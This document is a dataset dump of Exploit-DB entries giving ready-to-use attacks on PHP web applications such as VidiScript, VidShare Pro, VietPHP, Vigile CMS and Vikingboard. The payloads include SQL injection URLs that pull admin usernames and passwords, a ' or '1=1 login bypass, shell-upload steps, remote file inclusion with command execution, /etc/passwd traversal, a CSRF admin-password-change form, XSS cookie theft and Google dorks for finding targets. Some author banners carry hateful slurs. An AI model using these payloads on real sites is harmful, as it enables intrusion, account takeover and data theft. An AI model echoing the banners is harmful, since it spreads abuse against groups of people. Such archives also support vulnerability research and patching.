deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9453
Description: Videos Broadcast Yourself 2 - 'UploadID' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-18
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( videoint.php UploadID )
##
## Videos Broadcast Yourself V2
##
## http://www.videosbroadcastyourself.com/
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/PATH/videoint.php?UploadID=0/**/UNION/**/SELECT/**/0,CONCAT_WS(0x3a,username,password,EmailAddress),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+admin--
## www.TraGeT.CoM/PATH/videoint.php?UploadID=0/**/UNION/**/SELECT/**/0,CONCAT_WS(0x3a,username,password,EmailAddress),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+users--
##
## catvideo.php?m=0&cat_id=0 << Vulne
## cviewchannels.php?uid=0   << Vulne
##
########################
########################

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-08-18]
Exploit-DB #33514
Description: Videos Tube 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2014-05-26
Author: Mustafa ALTINKAYNAK

Exploit:
# Exploit Title: Videos Tube SQL Injection and Remote Code Execution
# Google Dork: inurl:"single.php?url=" video
# Date: 05.05.2014
# Exploit Author: Mustafa ALTINKAYNAK
# Vendor Homepage: http://www.phpscriptlerim.com
# Software Link: http://demo.phpscriptlerim.com/free/videostube/
# Version: 1.0

Description (Açıklama)
========================
Category, showing video on the page are two types of SQL injection. Boolean-based blind and AND / OR time-based blind. Incoming data can be filtered off light.

Vulnerability
========================
1) videocat.php?url=test' AND 3383=3383 AND 'ODau'='ODau (with SQLMAP Tool)
2) single.php?url=test' AND 3383=3383 AND 'ODau'='ODau (with SQLMap Tool)
Exploit-DB #8635
Description: VIDEOSCRIPT.us - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-05-07
Author: snakespc

Exploit:
-------------------------AllaH AkbaR-------------------------------
videoscript (Auth Bypass) Remote Sql Injection
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
Script:demo
http://www.videoscript.us/admin/
-------------------------SNAKES TEAM-------------------------------------
Exploit:
-----------
Username:   ' or '1=1
Password:   ' or '1=1
-------------------------SNAKES TEAM-------------------------------------
His0k4:::Mr.HCOCA_MAN:::DrEaDFuL:::
yassine_enpsunhouse2:::aSSaSSin_HaCkErS:::
THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-05-07]
Exploit-DB #34138
Description: VideoWhisper PHP 2 Way Video Chat - 'r' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-14
Author: Sid3^effects

Exploit:
source: https://www.securityfocus.com/bid/40832/info

VideoWhisper PHP 2 Way Video Chat is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this vulnerability could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?r=%22%3E%3E%3Cmarquee%3E%3Ch1%3EXSS3d%20By%20Sid3^effects%3C/h1%3E%3Cmarquee%3E
Exploit-DB #6259
Description: VidiScript (Avatar) - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-08-18
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by :  Cyb3r-1sT

<<!>> C0ntact  : cyb3r-1st [at] hotmail.com ..$<->$.. t3tto0 [at] yahoo.com
                   
<<!>> Groups   : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script    :  VidiScript  
 
<<->> Demo site : www.vidiscript.com/mainstreamdemo


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : N0-WaY

<<->> Exploit :

        1) first Register in site 
        
        2) login and go to ur profil and in Current avatar .. u can upload shell ... shell.php 
         
        3) hack site  :)  finished 

=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka $ nicehacker $ anaconda-ksa $ sirus 
                           
                      :: abo-najm $ hacker-b0y & br1ght-dark & eng.silent $ spid3r-net & golden-zero

<<->> InjEctOr5 TeaM   


<<->> All muslims

# milw0rm.com [2008-08-18]
Exploit-DB #35405
Description: VidiScript - 'vp' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-02
Author: NassRawI

Exploit:
source: https://www.securityfocus.com/bid/46639/info

VidiScript is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?vp=[XSS]
Exploit-DB #16223
Description: VidiScript - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-23
Author: ThEtA.Nu

Exploit:
======================================
VidiScript Sql Injection Vulnerability
======================================


####################################
[+] Title: VidiScript  Sql Injection Vulnerability
[+] Date: 23.02.2011
[+] Author: ThEtA.Nu
[+] Software Link: VidiScript.com
[+] Where : From Remote
####################################
[~] Founded by :  ThEtA.Nu
[~] Team: Kosova Hacker Security
[~] Contact: theta.nu[at]windowslive[dot]com
[~] Home: www.khs-crew.org
=======================================================
++++++++++++++++ Kosova Hackers Security ++++++++++++++++
=======================================================


<<->> D0rk    : Powered by : VidiScript

<<->> Exploit :
                 [~]ExPl0iT : http://127.0.0.1/ajaxprofile.php?id=1[SQL-injection]
Exploit-DB #8730
Description: VidShare Pro - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-05-19
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script :: VidShare Pro

<<->> Site   :: http://www.omnisoftsol.com

=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> Exploit :: 
                 

        >>> step 1 : U must register in site 

        >>> step 2 : Login with ur account 
         
        >>> step 3 : goto ur account and upload shell 

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , [ www.tryag.com ] , [ www.7rs.org ] , [ www.sec-code.com ] 

# milw0rm.com [2009-05-19]
Exploit-DB #8737
Description: vidshare pro - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-05-19
Author: snakespc

Exploit:
-------------------------AllaH AkbaR-------------------------------
VidShare Pro MULTIPLE REMOTE VULNERABILITIES	
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------

Script:VidShare Pro   www.omnisoftsol.com

Demo:http://www.omnisoftsol.com/index.php?option=com_content&task=view&id=7&Itemid=28

(listing_video.php)
--------------------------SNAKES TEAM------------------------------------
Exploit:SQL
--------
Demo:
http://demo.omnisoftsol.com/listing_video.php?catid=2+UNION%20SELECT%201,2,3,4,CHAR(83,%20110,%2097,%20107,%20101,%20115,%2084,%20101,%2097,%2077),6,7,8,9,10,11,concat(@@version,0x3a,user(),0x3a,database()),13,14,15,16,17,18--

(XSS)<----Search form---->

<script>alert(1954)</script>
-------------------------SNAKES TEAM-------------------------------------
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::
Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::
THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-05-19]
Exploit-DB #33856
Description: Viennabux Beta! - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-09
Author: Easy Laster

Exploit:
source: https://www.securityfocus.com/bid/39602/info

Viennabux Beta! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following example URI is available:

http://www.example.com/forum/view_topic.php?cat=1+union+select+1,concat(aUsername,0x3a,apassword),3,4,5,6,7+from+admins
Exploit-DB #30457
Description: VietPHP - '/admin/index.php?language' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-07
Author: master-of-desastor

Exploit:
source: https://www.securityfocus.com/bid/25226/info
 
VietPHP is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/path/admin/index.php?language=Sh3LL
Exploit-DB #30459
Description: VietPHP - 'index.php?language' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-07
Author: master-of-desastor

Exploit:
source: https://www.securityfocus.com/bid/25226/info
  
VietPHP is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/index.php??language=Sh3LL
Exploit-DB #30456
Description: VietPHP - '_functions.php?dirpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-07
Author: master-of-desastor

Exploit:
source: https://www.securityfocus.com/bid/25226/info

VietPHP is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/_functions.php?dirpath=Sh3LL
Exploit-DB #4632
Description: Vigile CMS 1.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2007-11-18
Author: DevilAuron

Exploit:
---------------------------------------------------------------------------------------
     .___          .__.__                                     
   __| _/_______  _|__|  | _____   __ _________  ____   ____  
  / __ |/ __ \  \/ /  |  | \__  \ |  |  \_  __ \/  _ \ /    \ 
 / /_/ \  ___/\   /|  |  |__/ __ \|  |  /|  | \(  <_> )   |  \
 \____ |\___  >\_/ |__|____(____  /____/ |__|   \____/|___|  /
      \/    \/                  \/                         \/ 
---------------------------------------------------------------------------------------
   Status : Public
   Author : DevilAuron
   Board  : VigileCMS
   Site   : http://devilsnight.altervista.org
   Date   : [16-11-2007] (dd-mm-yyyy)
---------------------------------------------------------------------------------------
VigileCMS Multiple Vulnerabilities
---------------------------------------------------------------------------------------
Permanent Xss:
---------------------------------------------------------------------------------------
http://[site]/[path]/index.php?module=vedipm&inviapm=true
http://[site]/[path]/index.php?module=live_chat
Insert on the message the xss
---------------------------------------------------------------------------------------
Local File Inclusion:
---------------------------------------------------------------------------------------
index.php
---------------------------------------------------------------------------------------
	if (file_exists("$_GET[module].php")) {
	include ($_GET['module'].".php"); 
         } else {
	include ("pagine/".$_GET['module'].".php"); 
            }
         navdx3("100%");

         } else {
	announcement ("<center><li><font color=\"red\">File non esistente</font></center>");
            }
---------------------------------------------------------------------------------------
Then u can include all file present on the server
http://[site]/[path]/index.php?module=[somefile]%00
---------------------------------------------------------------------------------------
CSRF:
---------------------------------------------------------------------------------------
Change Admin Password:
---------------------------------------------------------------------------------------
<form name="cambia" method="post" action="http://127.0.0.1/VIGILE_1.4/index.php?module=changepass">
<input type="password" name="new1" maxlength=20 value="123456">
<input type="password" name="new2" maxlength=20 value="123456">
<input type="hidden" name="pw" value="Cambia la Password">
</form>
<script>document.cambia.submit()</script>
---------------------------------------------------------------------------------------
DevilAuron - http://devilsnight.altervista.org
---------------------------------------------------------------------------------------

# milw0rm.com [2007-11-18]
Exploit-DB #30601
Description: Vigile CMS 1.8 Wiki Module - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-09-20
Author: x0kster

Exploit:
source: https://www.securityfocus.com/bid/25752/info

The Vigile CMS wiki module is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Vigile CMS 1.8 is vulnerable; other versions may also be affected.

http://www.example.com/[VIGILE_CMS_PATH]/index.php?nav=[WIKINAME]&title=[XSS]
http://www.example.com/[VIGILE_CMS_PATH]/index.php?nav=[WIKINAME]&cat=[XSS]
Exploit-DB #27465
Description: VihorDesign - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-24
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/17226/info

VihorDesign is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?page=<script>alert(document.cookie)</script>
Exploit-DB #27466
Description: VihorDesign - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-03-24
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/17227/info

VihorDesign is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/index.php?page=evilcode.txt?&cmd=id
Exploit-DB #28499
Description: Vikingboard 0.1 - 'topic.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-08
Author: Hessam-x

Exploit:
source: https://www.securityfocus.com/bid/19919/info

Viking board is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

This may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 0.1b is vulnerable; other versions may also be affected.

http://www.example.com/topic.php?t=1&s=-1[Query]
Exploit-DB #29128
Description: Vikingboard 0.1.2 - 'admin.php?act' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21196/info

Vikingboard is prone to multiple HTML-injection vulnerabilities and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to access sensitive information, to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; further attacks are possible as well.

Version 1.0.2 is vulnerable; other versions may also be affected.

http://www.example.com/admin.php?act=../../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #30383
Description: Vikingboard 0.1.2 - 'cp.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-25
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25056/info

Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/cp.php?mode=9&id=2[XSS-CODE]

http://www.example.com/viking/cp.php?mode=7&f=1[XSS-CODE]

http://www.example.com/viking/cp.php?mode=6"e=1[XSS-CODE]

http://www.example.com/viking/cp.php?mode=12&act=[XSS-CODE]
Exploit-DB #30388
Description: Vikingboard 0.1.2 - 'cp.php' Information Disclosure
Type: webapps
Platform: php
Date: 2007-07-25
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25060/info
 
Vikingboard is prone to multiple information-disclosure weaknesses because attackers may disclose sensitive information that may be used in other attacks on the system.
 
Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/cp.php?mode=10&debug=1
Exploit-DB #30387
Description: Vikingboard 0.1.2 - 'forum.php' Information Disclosure
Type: webapps
Platform: php
Date: 2007-07-25
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25060/info

Vikingboard is prone to multiple information-disclosure weaknesses because attackers may disclose sensitive information that may be used in other attacks on the system.

Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/forum.php?f=1&debug=1
Exploit-DB #30385
Description: Vikingboard 0.1.2 - 'post.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-25
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25056/info
  
Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/post.php?mode=00&f=1[XSS-CODE]&poll=0

http://www.example.com/viking/post.php?mode=03&t=2"e=2[XSS-CODE]

http://www.example.com/viking/post.php?mode=03&t=2[XSS-CODE]"e=2

http://www.example.com/viking/post.php?mode=00&f=1&poll=0[XSS-CODE]

http://www.example.com/viking/post.php?mode=02&p=2[XSS-CODE]